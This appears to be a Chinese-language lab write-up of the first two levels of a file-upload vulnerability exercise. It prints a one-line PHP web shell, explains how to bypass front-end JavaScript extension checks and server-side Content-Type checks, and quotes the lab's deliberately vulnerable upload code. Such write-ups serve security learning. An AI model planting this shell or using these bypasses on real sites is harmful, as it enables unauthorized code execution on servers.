赞
踩
pass-01
前端js验证
先上传一个php文件9.php
文件内容
执行phpinfo()并且写入后门
<?php phpinfo();eval($_POST['d']);?>
提交上传
检测文件名后缀了,要求只能传.jpg|png|.gif类型的文件
查看提示
提示目标是客户端js检测,在客户端通过js文件对用户上传的文件名进行检测
前端js文件验证:
文件上传时,用户选择文件或者提交时,有些网站会在前端对文件名进行验证,一般检测后缀名是否为允许上传的格式,如果上传的格式不对,则弹窗出提示文字。此时数据包并没有提交到服务器,只是在客户端通过 js 文件进行校验,验证不通过则不会提交到服务器进行处理。
判断是服务器验证还是前端js验证的方法:
F12,查看网络请求,然后上传9.php,如果有捕捉到网络请求,就是服务器验证,没有捕捉到网络请求,就是前端验证
没有捕捉到网络请求,说明验证是在前端
因为如果是拿到服务器去验证,至少得有一个向服务器发送请求的操作,不然文件到不了服务器那里,网络会捕捉这个发送到服务器的操作,但现在网络没有请求
用来做前端js验证的代码可以在F12里面找到
黑盒测试(不知道源码)不太容易找到,白盒测试(知道源码)容易找到
因为知道源码的情况下,可以通过源码里面的关键函数名去找到js验证的代码
显示源码
- function checkFile() {
- var file = document.getElementsByName('upload_file')[0].value;
- if (file == null || file == "") {
- alert("请选择要上传的文件!");
- return false;
- }
- //定义允许上传的文件类型
- var allow_ext = ".jpg|.png|.gif";
- //提取上传文件的类型
- var ext_name = file.substring(file.lastIndexOf("."));
- //判断上传文件类型是否允许上传
- if (allow_ext.indexOf(ext_name + "|") == -1) {
- var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
- alert(errMsg);
- return false;
- }
- }

可以看到整块规则都是由函数checkFile()来完成,这个函数就是关键函数
F12搜索函数名checkFile,就可以找到js验证代码的位置
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
如果是黑盒测试,搜索method一般也找的到
这个方法checkFile()规定限制了我们的文件后缀
找到他在前端的位置的目的是把他删掉,从而实现绕过前端js验证
删掉之后,上传9.php,上传成功
pass-02
检查文件的头类型
MIME,头类型
有些上传模块,会对 http 的类型头进行检测,如果是图片类型,允许上传文件到服务器,否则返回上传失败。因为服务端是通过 content-type 判断类型,content-type 在客户端可被控制修改,则此文件上传也有可能被绕过的风险
绕过办法:在Request数据包中修改文件类型是 image/jpeg 或者 image/png即可绕过
源码:
- $is_upload = false;
- $msg = null;
- if (isset($_POST['submit'])) { #这里是上传
- if (file_exists(UPLOAD_PATH)) { #这里是检查有没有上传目录
- if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { #这里意思是允许上传image,jpg,png,gif文件类型的文件,注意的是他这里只检查类型,不检查后缀
- $temp_file = $_FILES['upload_file']['tmp_name']; #这个temp_file意思是创建一个临时文件
- $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] #这个意思是把这个创建的临时文件移动到这个目录里面
- if (move_uploaded_file($temp_file, $img_path)) {
- $is_upload = true;
- } else {
- $msg = '上传出错!';
- }
- } else {
- $msg = '文件类型不正确,请重新上传!';
- }
- } else {
- $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; #没有上传目录时,就提醒这个,"文件夹不存在,请手工创建",所以我们要创建一个目upload
- }
- }

burpsuite抓文件上传包,上传php文件,将request数据包中的content-type修改为image/jpeg或者image/png,发送
上传成功
文件类型Content-type有很多,我们只需要修改成可以通过检测的就行,如下举部分例子
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。